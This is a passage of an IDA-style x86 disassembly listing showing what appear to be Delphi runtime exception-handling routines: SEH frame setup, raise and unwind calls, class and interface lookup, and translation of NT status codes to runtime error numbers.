loc_40003D46:				; CODE XREF: sub_40003CF4+33j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40003CF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003D4C	proc near		; CODE XREF: sub_40003C9C+5p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, eax


loc_40003D52:				; CODE XREF: sub_40003D4C+1Bj
		mov	esi, [esi]
		mov	edx, [esi-40h]
		mov	esi, [esi-24h]
		test	edx, edx
		jz	short loc_40003D65
		call	sub_400052C8
		mov	eax, ebx


loc_40003D65:				; CODE XREF: sub_40003D4C+10j
		test	esi, esi
		jnz	short loc_40003D52
		pop	esi
		pop	ebx
		retn
sub_40003D4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40003D6C	proc near		; CODE XREF: sub_40003D9C+59p
		xchg	edx, ecx
		cmp	ecx, 0FF000000h
		jnb	short loc_40003D87
		cmp	ecx, 0FE000000h
		jb	short loc_40003D85
		movsx	ecx, cx
		add	ecx, [eax]
		jmp	dword ptr [ecx]
; ---------------------------------------------------------------------------


loc_40003D85:				; CODE XREF: sub_40003D6C+10j
		jmp	ecx
; ---------------------------------------------------------------------------


loc_40003D87:				; CODE XREF: sub_40003D6C+8j
		and	ecx, 0FFFFFFh
		add	ecx, eax
		mov	eax, edx
		mov	edx, [ecx]
		jmp	sub_4000621C
sub_40003D6C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40003D9C	proc near		; CODE XREF: .text:40006283p
					; sub_400123C8+A0p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	esi, ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40003E20
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		mov	[esi], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edi]
		call	sub_40003E30
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40003E04
		mov	eax, [ebx+14h]
		test	eax, eax
		jz	short loc_40003DED
		add	edi, eax
		mov	[esi], edi
		cmp	dword ptr [esi], 0
		jz	short loc_40003E04
		mov	eax, [esi]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+4]
		jmp	short loc_40003E04
; ---------------------------------------------------------------------------


loc_40003DED:				; CODE XREF: sub_40003D9C+3Cj
		lea	ecx, [ebp+var_8]
		mov	edx, [ebx+18h]
		mov	eax, edi
		call	sub_40003D6C
		mov	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_4000621C


loc_40003E04:				; CODE XREF: sub_40003D9C+35j
					; sub_40003D9C+45j ...
		cmp	dword ptr [esi], 0
		setnz	bl
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40003E27


loc_40003E17:				; CODE XREF: sub_40003D9C+89j
		lea	eax, [ebp+var_8]
		call	sub_40006204
		retn
; ---------------------------------------------------------------------------


loc_40003E20:				; DATA XREF: sub_40003D9C+18o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40003E17
; ---------------------------------------------------------------------------


loc_40003E27:				; CODE XREF: sub_40003D9C+83j
					; DATA XREF: sub_40003D9C+76o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40003D9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40003E30	proc near		; CODE XREF: sub_40003D9C+2Cp
		push	ebx
		push	esi
		mov	ebx, eax


loc_40003E34:				; CODE XREF: sub_40003E30+3Dj
		mov	eax, [ebx-48h]
		test	eax, eax
		jz	short loc_40003E64
		mov	ecx, [eax]
		add	eax, 4


loc_40003E40:				; CODE XREF: sub_40003E30+32j
		mov	esi, [edx]
		cmp	esi, [eax]
		jnz	short loc_40003E5E
		mov	esi, [edx+4]
		cmp	esi, [eax+4]
		jnz	short loc_40003E5E
		mov	esi, [edx+8]
		cmp	esi, [eax+8]
		jnz	short loc_40003E5E
		mov	esi, [edx+0Ch]
		cmp	esi, [eax+0Ch]
		jz	short loc_40003E71


loc_40003E5E:				; CODE XREF: sub_40003E30+14j
					; sub_40003E30+1Cj ...
		add	eax, 1Ch
		dec	ecx
		jnz	short loc_40003E40


loc_40003E64:				; CODE XREF: sub_40003E30+9j
		mov	ebx, [ebx-24h]
		test	ebx, ebx
		jz	short loc_40003E6F
		mov	ebx, [ebx]
		jmp	short loc_40003E34
; ---------------------------------------------------------------------------


loc_40003E6F:				; CODE XREF: sub_40003E30+39j
		xor	eax, eax


loc_40003E71:				; CODE XREF: sub_40003E30+2Cj
		pop	esi
		pop	ebx
		retn
sub_40003E30	endp


; =============== S U B	R O U T	I N E =======================================



sub_40003E74	proc near		; CODE XREF: sub_4000ADE0+A8p
					; sub_4000B654+94p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40003E8B
		mov	edx, esi
		mov	eax, [ebx]
		call	sub_40003EE0
		test	al, al
		jnz	short loc_40003E90


loc_40003E8B:				; CODE XREF: sub_40003E74+8j
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40003E90:				; CODE XREF: sub_40003E74+15j
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_40003E74	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003E98	proc near		; CODE XREF: sub_40003EC8+4p
					; sub_40003F08+13p
		push	edi
		xchg	eax, esi
		jmp	short loc_40003E9E
; ---------------------------------------------------------------------------


loc_40003E9C:				; CODE XREF: sub_40003E98+1Fj
		mov	esi, [esi]


loc_40003E9E:				; CODE XREF: sub_40003E98+2j
		mov	edi, [esi-30h]
		test	edi, edi
		jz	short loc_40003EB2
		movzx	ecx, word ptr [edi]
		push	ecx
		add	edi, 2
		repne scasw
		jz	short loc_40003EBB
		pop	ecx


loc_40003EB2:				; CODE XREF: sub_40003E98+Bj
		mov	esi, [esi-24h]
		test	esi, esi
		jnz	short loc_40003E9C
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40003EBB:				; CODE XREF: sub_40003E98+17j
		pop	eax
		add	eax, eax
		sub	eax, ecx
		mov	esi, [edi+eax*2-4]
		pop	edi
		retn
sub_40003E98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003EC8	proc near		; CODE XREF: sub_40013C30+43p
					; sub_40013C30+52p ...
		push	eax
		push	ecx
		mov	eax, [eax]
		call	sub_40003E98
		pop	ecx
		pop	eax
		jz	short loc_40003ED7
		jmp	esi
; ---------------------------------------------------------------------------


loc_40003ED7:				; CODE XREF: sub_40003EC8+Bj
		pop	ecx
		jmp	sub_400030B4
sub_40003EC8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003EE0	proc near		; CODE XREF: sub_40003E74+Ep
		jmp	short loc_40003EE4
; ---------------------------------------------------------------------------


loc_40003EE2:				; CODE XREF: sub_40003EE0+Dj
		mov	eax, [eax]


loc_40003EE4:				; CODE XREF: sub_40003EE0j
		cmp	eax, edx
		jz	short loc_40003EF0
		mov	eax, [eax-24h]
		test	eax, eax
		jnz	short loc_40003EE2
		retn
; ---------------------------------------------------------------------------


loc_40003EF0:				; CODE XREF: sub_40003EE0+6j
		mov	al, 1
		retn
sub_40003EE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003EF4	proc near		; DATA XREF: .text:40001048o
					; .text:4000110Co ...
		mov	eax, 8000FFFFh
		retn
sub_40003EF4	endp

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003F08	proc near		; DATA XREF: .text:40001054o
					; .text:40001118o ...
		push	esi
		mov	si, [edx]
		or	si, si
		jz	short loc_40003F28
		cmp	si, 0C000h
		jnb	short loc_40003F28
		push	eax
		mov	eax, [eax]
		call	sub_40003E98
		pop	eax
		jz	short loc_40003F28
		mov	ecx, esi
		pop	esi
		jmp	ecx
; ---------------------------------------------------------------------------


loc_40003F28:				; CODE XREF: sub_40003F08+7j
					; sub_40003F08+Ej ...
		pop	esi
		mov	ecx, [eax]
		jmp	dword ptr [ecx-10h]
sub_40003F08	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003F30	proc near		; CODE XREF: sub_40003CB8+7p
					; sub_4000B030+Ap ...

arg_0		= byte ptr  4

		push	edx
		push	ecx
		push	ebx
		test	dl, dl
		jl	short loc_40003F3A
		call	dword ptr [eax-0Ch]


loc_40003F3A:				; CODE XREF: sub_40003F30+5j
		xor	edx, edx
		lea	ecx, [esp+0Ch+arg_0]
		mov	ebx, fs:[edx]
		mov	[ecx], ebx
		mov	[ecx+8], ebp
		mov	dword ptr [ecx+4], offset sub_40003F59
		mov	[ecx+0Ch], eax
		mov	fs:[edx], ecx
		pop	ebx
		pop	ecx
		pop	edx
		retn
sub_40003F30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40003F59	proc near		; DATA XREF: sub_40003F30+18o
		jmp	sub_400040D8
sub_40003F59	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+2Ch]
		mov	eax, [eax+0Ch]
		test	eax, eax
		jz	short loc_40003F77
		mov	ecx, [eax]
		mov	dl, 81h
		push	eax
		call	dword ptr [ecx-4]
		pop	eax
		call	sub_40003F80


loc_40003F77:				; CODE XREF: .text:40003F67j
		call	sub_4000430C
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003F80	proc near		; CODE XREF: sub_40003CD8+9p
					; .text:40003F72p ...
		mov	edx, [eax]
		call	dword ptr [edx-8]
		retn
sub_40003F80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40003F88	proc near		; CODE XREF: sub_40003CB8+10p
					; sub_4000B030+25p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_40003FB7
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx-1Ch]
		mov	eax, [ebp+var_4]
		pop	large dword ptr	fs:0
		add	esp, 8
		jmp	short loc_40003FD0
; ---------------------------------------------------------------------------


loc_40003FB7:				; DATA XREF: sub_40003F88+Do
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	dl, 1
		mov	eax, [ebp+var_4]
		call	sub_40003FD8
		call	sub_4000430C
		call	sub_40004360


loc_40003FD0:				; CODE XREF: sub_40003F88+2Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40003F88	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003FD8	proc near		; CODE XREF: sub_40003CD8p
					; sub_40003F88+39p ...
		test	dl, dl
		jg	short loc_40003FDD
		retn
; ---------------------------------------------------------------------------


loc_40003FDD:				; CODE XREF: sub_40003FD8+2j
		push	eax
		push	edx
		mov	edx, [eax]
		call	dword ptr [edx-18h]
		pop	edx
		pop	eax
		retn
sub_40003FD8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003FE8	proc near		; CODE XREF: sub_4000430C+35p
		cmp	byte_4001A028, 1
		jbe	short locret_40004002
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:off_4001C014

locret_40004002:			; CODE XREF: sub_40003FE8+7j
		retn
sub_40003FE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004004	proc near		; CODE XREF: sub_400040D8+4Dp
		cmp	byte_4001A028, 0
		jz	short locret_40004024
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:off_4001C014
		add	esp, 8
		pop	eax

locret_40004024:			; CODE XREF: sub_40004004+7j
		retn
sub_40004004	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_40004040


loc_40004028:				; CODE XREF: sub_40004040+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:off_4001C014
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40004040
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40004040	proc near		; CODE XREF: sub_400040D8+FDp

; FUNCTION CHUNK AT 40004028 SIZE 00000015 BYTES

		cmp	byte_4001A028, 1
		jbe	short locret_40004050
		push	eax
		push	ebx
		jmp	loc_40004028
; ---------------------------------------------------------------------------

locret_40004050:			; CODE XREF: sub_40004040+7j
		retn
sub_40004040	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004054	proc near		; CODE XREF: sub_40004074+Cp
		test	ecx, ecx
		jz	short locret_40004071
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_4000406C
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_40004071
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_4000406F
; ---------------------------------------------------------------------------


loc_4000406C:				; CODE XREF: sub_40004054+Aj
		add	ecx, 5


loc_4000406F:				; CODE XREF: sub_40004054+16j
		add	ecx, eax

locret_40004071:			; CODE XREF: sub_40004054+2j
					; sub_40004054+Fj
		retn
sub_40004054	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004074	proc near		; CODE XREF: sub_40016280-12027p
					; sub_400042AC+25p
		cmp	byte_4001A028, 1
		jbe	short locret_4000409A
		push	eax
		push	edx
		push	ecx
		call	sub_40004054
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:off_4001C014
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_4000409A:			; CODE XREF: sub_40004074+7j
		retn
sub_40004074	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000409C	proc near		; CODE XREF: sub_40004360+28p
		cmp	byte_4001A028, 1
		jbe	short locret_400040B7
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	ds:off_4001C014
		pop	edx

locret_400040B7:			; CODE XREF: sub_4000409C+7j
		retn
sub_4000409C	endp


; =============== S U B	R O U T	I N E =======================================



sub_400040B8	proc near		; CODE XREF: .text:loc_400044A5p
		push	eax
		push	edx
		cmp	byte_4001A028, 1
		jbe	short loc_400040D3
		push	esp
		push	2
		push	0
		push	0EEDFAE3h
		call	ds:off_4001C014


loc_400040D3:				; CODE XREF: sub_400040B8+9j
		pop	edx
		pop	eax
		retn
sub_400040B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400040D8	proc near		; CODE XREF: sub_40003F59j
					; sub_40003F88:loc_40003FB7j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_24		= dword	ptr  28h

		mov	eax, [esp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_400041FC
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_40004165
		cld
		call	sub_40003C58
		mov	edx, ds:off_4001C010
		test	edx, edx
		jz	loc_400041FC
		call	edx ; sub_4000B654
		test	eax, eax
		jz	loc_400041FC
		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_4000415C
		call	sub_40004004
		cmp	byte_4001A02C, 0
		jbe	short loc_4000415C
		cmp	byte_4001A028, 0
		ja	short loc_4000415C
		lea	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40001190	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_400041FC
		mov	edx, eax
		mov	eax, [esp+arg_0]
		mov	ecx, [eax+0Ch]
		jmp	short loc_4000418C
; ---------------------------------------------------------------------------


loc_4000415C:				; CODE XREF: sub_400040D8+4Bj
					; sub_400040D8+59j ...
		mov	edx, eax
		mov	eax, [esp+arg_0]
		mov	ecx, [eax+0Ch]


loc_40004165:				; CODE XREF: sub_400040D8+1Dj
		cmp	byte_4001A02C, 1
		jbe	short loc_4000418C
		cmp	byte_4001A028, 0
		ja	short loc_4000418C
		push	eax
		lea	eax, [esp+4+arg_0]
		push	edx
		push	ecx
		push	eax
		call	sub_40001190	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_400041FC


loc_4000418C:				; CODE XREF: sub_400040D8+82j
					; sub_400040D8+94j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+arg_4]
		push	0
		push	eax
		push	offset loc_400041B0
		push	edx
		call	ds:off_4001C018


loc_400041B0:				; DATA XREF: sub_400040D8+CCo
		mov	edi, [esp+arg_24]
		call	sub_40006428
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset loc_400041DC
		add	ebx, 5
		call	sub_40004040
		jmp	ebx
; ---------------------------------------------------------------------------


loc_400041DC:				; DATA XREF: sub_400040D8+F3o
		jmp	sub_400042AC
; ---------------------------------------------------------------------------
		call	sub_40006428
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_40003CE8
; ---------------------------------------------------------------------------


loc_400041FC:				; CODE XREF: sub_400040D8+Bj
					; sub_400040D8+2Dj ...
		mov	eax, 1
		retn
sub_400040D8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_40016280


loc_40004204:				; CODE XREF: sub_40003B94:loc_40003C05j
					; sub_40003D9C:loc_40003E20j ...
		mov	eax, [esp-4+arg_0]
		test	dword ptr [eax+4], 6
		jz	loc_400042A4
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		push	ebp
		push	offset sub_40004284
		push	dword ptr fs:[ebx]
		mov	fs:[ebx], esp
		mov	ebx, fs:[ebx]
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edi, [esp+28h+arg_4]
		call	sub_40006428
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ecx, [edi+4]
		mov	ebp, [edi+8]
		mov	dword ptr [edi+4], offset sub_40004284
		add	ecx, 5
		call	sub_40004074
		call	ecx
		call	sub_40006428
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		add	esp, 14h
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	short loc_400042A4
; END OF FUNCTION CHUNK	FOR sub_40016280

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40004284	proc near		; DATA XREF: sub_40016280-12064o
					; sub_40016280-12031o
		jmp	sub_400042AC
sub_40004284	endp

; ---------------------------------------------------------------------------
		call	sub_40006428
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_40003CE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40016280


loc_400042A4:				; CODE XREF: sub_40016280-12071j
					; sub_40016280-11FFEj
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_40016280
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400042AC	proc near		; CODE XREF: sub_400040D8:loc_400041DCj
					; sub_40004284j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	edx, [esp+arg_4]
		test	dword ptr [eax+4], 6
		jz	short loc_400042DC
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_400042DC
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_40004074
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_400042DC:				; CODE XREF: sub_400042AC+Fj
					; DATA XREF: sub_400042AC+14o
		mov	eax, 1
		retn
sub_400042AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400042E4	proc near		; CODE XREF: sub_40007998+19p
					; sub_4000B2B0+49j ...
		or	eax, eax
		jnz	short loc_400042F2
		mov	eax, 0D8h
		call	sub_40004878
; ---------------------------------------------------------------------------


loc_400042F2:				; CODE XREF: sub_400042E4+2j
		pop	edx
		push	esp
		push	ebp
		push	edi
		push	esi
		push	ebx
		push	eax
		push	edx
		push	esp
		push	7
		push	1
		push	0EEDFADEh
		push	edx
		jmp	ds:off_4001C014
sub_400042E4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4000430C	proc near		; CODE XREF: .text:loc_40003F77p
					; sub_40003F88+3Ep ...

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_40004357
		call	sub_40006428
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_40004346
		mov	eax, [edx+8]
		call	sub_40003CE8
		call	sub_40003FE8


loc_40004346:				; CODE XREF: sub_4000430C+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_40004357:				; DATA XREF: sub_4000430C+4o
		mov	eax, 1
		retn
sub_4000430C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40004360	proc near		; CODE XREF: sub_40003F88+43p
					; sub_40004518+58p ...

arg_2C		= dword	ptr  30h

		call	sub_40006428
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_40003CE8
		pop	edx
		mov	esp, [esp-4+arg_2C]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_4000409C
		jmp	edx
sub_40004360	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_40004390:				; CODE XREF: .text:40004490j
					; .text:4000449Cj
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_400043CB
		jz	short loc_400043FD
		cmp	eax, 0C000008Eh
		jg	short loc_400043BD
		jz	short loc_40004401
		sub	eax, 0C0000005h
		jz	short loc_4000440D
		sub	eax, 87h
		jz	short loc_400043F5
		dec	eax
		jz	short loc_40004409
		jmp	short loc_4000441D
; ---------------------------------------------------------------------------


loc_400043BD:				; CODE XREF: .text:400043A6j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_400043FD
		jz	short loc_400043F9
		jmp	short loc_4000441D
; ---------------------------------------------------------------------------


loc_400043CB:				; CODE XREF: .text:4000439Dj
		cmp	eax, 0C0000096h
		jg	short loc_400043E3
		jz	short loc_40004411
		sub	eax, 0C0000093h
		jz	short loc_40004409
		dec	eax
		jz	short loc_400043F1
		dec	eax
		jz	short loc_40004405
		jmp	short loc_4000441D
; ---------------------------------------------------------------------------


loc_400043E3:				; CODE XREF: .text:400043D0j
		sub	eax, 0C00000FDh
		jz	short loc_40004419
		sub	eax, 3Dh
		jz	short loc_40004415
		jmp	short loc_4000441D
; ---------------------------------------------------------------------------


loc_400043F1:				; CODE XREF: .text:400043DCj
		mov	al, 0C8h
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_400043F5:				; CODE XREF: .text:400043B6j
		mov	al, 0C9h
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_400043F9:				; CODE XREF: .text:400043C7j
		mov	al, 0CDh
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_400043FD:				; CODE XREF: .text:4000439Fj
					; .text:400043C5j
		mov	al, 0CFh
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_40004401:				; CODE XREF: .text:400043A8j
		mov	al, 0C8h
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_40004405:				; CODE XREF: .text:400043DFj
		mov	al, 0D7h
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_40004409:				; CODE XREF: .text:400043B9j
					; .text:400043D9j
		mov	al, 0CEh
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_4000440D:				; CODE XREF: .text:400043AFj
		mov	al, 0D8h
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_40004411:				; CODE XREF: .text:400043D2j
		mov	al, 0DAh
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_40004415:				; CODE XREF: .text:400043EDj
		mov	al, 0D9h
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_40004419:				; CODE XREF: .text:400043E8j
		mov	al, 0CAh
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_4000441D:				; CODE XREF: .text:400043BBj
					; .text:400043C9j ...
		mov	al, 0FFh


loc_4000441F:				; CODE XREF: .text:400043F3j
					; .text:400043F7j ...
		movzx	eax, al
		mov	edx, [edx+0Ch]
		call	sub_40002CF8
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h


loc_40004430:				; DATA XREF: sub_400044D0+Do
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_400044CA
		cmp	byte_4001A028, 0
		ja	short loc_40004459
		lea	eax, [esp+4]
		push	eax
		call	sub_40001190	; UnhandledExceptionFilter
		cmp	eax, 0
		jz	short loc_400044CA


loc_40004459:				; CODE XREF: .text:40004448j
		mov	eax, [esp+4]
		cld
		call	sub_40003C58
		mov	edx, [esp+8]
		push	0
		push	eax
		push	offset loc_40004476
		push	edx
		call	ds:off_4001C018


loc_40004476:				; DATA XREF: .text:4000446Ao
		mov	ebx, [esp+4]
		cmp	dword ptr [ebx], 0EEDFADEh
		mov	edx, [ebx+14h]
		mov	eax, [ebx+18h]
		jz	short loc_400044A5
		mov	edx, ds:off_4001C010
		test	edx, edx
		jz	loc_40004390
		mov	eax, ebx
		call	edx ; sub_4000B654
		test	eax, eax
		jz	loc_40004390
		mov	edx, [ebx+0Ch]


loc_400044A5:				; CODE XREF: .text:40004486j
		call	sub_400040B8
		mov	ecx, ds:off_4001C004
		test	ecx, ecx
		jz	short loc_400044B6
		call	ecx ; sub_4000B71C


loc_400044B6:				; CODE XREF: .text:400044B2j
		mov	ecx, [esp+4]
		mov	eax, 0D9h
		mov	edx, [ecx+14h]
		mov	[esp], edx
		jmp	sub_40004878
; ---------------------------------------------------------------------------


loc_400044CA:				; CODE XREF: .text:4000443Bj
					; .text:40004457j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400044D0	proc near		; CODE XREF: sub_400045E4+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset loc_40004430
		mov	[eax+8], ebp
		mov	ds:dword_4001E7CC, eax
		retn
sub_400044D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400044F0	proc near		; CODE XREF: sub_40004790:loc_4000481Dp
		xor	edx, edx
		mov	eax, ds:dword_4001E7CC
		test	eax, eax
		jz	short locret_40004517
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_4000450A
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------


loc_40004508:				; CODE XREF: sub_400044F0+21j
		mov	ecx, [ecx]


loc_4000450A:				; CODE XREF: sub_400044F0+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_40004517
		cmp	[ecx], eax
		jnz	short loc_40004508
		mov	eax, [eax]
		mov	[ecx], eax

locret_40004517:			; CODE XREF: sub_400044F0+9j
					; sub_400044F0+1Dj
		retn
sub_400044F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


